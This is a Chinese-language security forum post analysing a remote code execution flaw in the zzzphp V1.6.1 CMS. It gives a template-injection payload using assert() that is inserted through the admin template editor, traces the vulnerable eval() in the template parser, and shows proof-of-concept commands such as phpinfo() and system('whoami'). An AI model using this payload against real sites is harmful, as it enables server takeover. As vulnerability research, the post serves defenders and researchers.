• 注册
  • BBS web安全 关注:69 内容:84

    zzzphp V1.6.1 远程代码执行漏洞分析

  • 查看作者
  • 打赏作者
  • 拉黑名单
  • 当前位置: 字节脉搏 > 网络安全 > web安全 > 正文
    脚本小子
    VIP
    字节脉搏实验室(夜行字节)

    这是一个通过模板来进行命令执行的一个例子,第一次遇到,很有趣。


    漏洞复现

    本地搭建好环境,登录后台,找到模板管理–>模板管理:

    zzzphp V1.6.1 远程代码执行漏洞分析

    然后找到cn2016/html/search.html(其实也就是网站下/zzzphp/template/pc/cn2016/html/search.html),将里面的代码修改或者添加:

    {if:assert($_request[phpinfo()])}phpinfo();{end if}

    然后我们再访问 http://127.0.0.1/zzzphp/search/

    zzzphp V1.6.1 远程代码执行漏洞分析

    看见phpinfo已经执行出来了,怎么出来的,能够怎么利用,目前还不知道,跟踪下源码吧。

    漏洞分析

    zzzphp V1.6.1 远程代码执行漏洞分析

    原来的search.html长这个样子。

    首先我是跟踪到了search/index.php:

    zzzphp V1.6.1 远程代码执行漏洞分析

    然后引用了 /inc/zzz_client.php ,跟踪下去

    zzzphp V1.6.1 远程代码执行漏洞分析

    这里又引用了 zzz_template.php, 还不确定,先看一下。

    这个文件里面有很多正则表达式,匹配了我们search.html中的{zzz:xxxx}

    然后就一直往下看,在文件快结束的地方,找到了想要的代码。

    zzzphp V1.6.1 远程代码执行漏洞分析

    有了eval函数,看来基本上就是这里了,接下来我们慢慢分析。

    这里为了方便,写了一段测试代码,来看一下匹配之后的内容

    <?php
    $zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    preg_match_all( $pattern, $zcontent, $matches);
    var_dump($matches)
    ?>

    zzzphp V1.6.1 远程代码执行漏洞分析

    我们就晓得 $matches 变量的值了。

    继续看代码

    if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
    $count = count( $matches[ 0 ] );
    for ( $i = 0; $i < $count; $i++ ) {
    $flag = '';
    $out_html = '';
    $ifstr = $matches[ 1 ][ $i ];
    $ifstr = str_replace( '<>', '!=', $ifstr );
    $ifstr = str_replace( 'mod', '%', $ifstr );
    $ifstr1 = cleft( $ifstr, 0, 1 );
    switch ( $ifstr1 ) {
    case '=':
    $ifstr = '0' . $ifstr;
    break;
    case '{':
    case '[':
    $ifstr = "'" . str_replace( "=", "'=", $ifstr );
    break;
    }
    $ifstr = str_replace( '=', '==', $ifstr );
    $ifstr = str_replace( '===', '==', $ifstr );
    @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

    $ifstr 变量的值为 $matches[ 1 ][ $i ],我们这里也就是$matches[ 1 ][ 0 ],也就是 assert($_request[phpinfo()])

    然后继续跟进,有一个cleft函数进行了处理,跟进:

    zzzphp V1.6.1 远程代码执行漏洞分析

    这段代码的意思就是去除掉两边的空格之后,取出我们的第一个字符。

    我们这里的 $ifstr 第一个字符 “{“ ,没啥用,最后就是:

    1
    @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

    我们这里吧 $ifstr 的值带进去。

    1
    @eval( 'if(assert($_request[phpinfo()])){$flag="if";}else{$flag="else";}' );

    然后本地运行一下:

    zzzphp V1.6.1 远程代码执行漏洞分析

    居然执行了~~~

    zzzphp V1.6.1 远程代码执行漏洞分析

    神奇。

    1
    eval( 'if(system("whoami")){}else{}' );

    看来里面是条件语句判断也行。

    请登录之后再进行评论

    登录
  • 做任务
  • 帖子间隔 侧栏位置: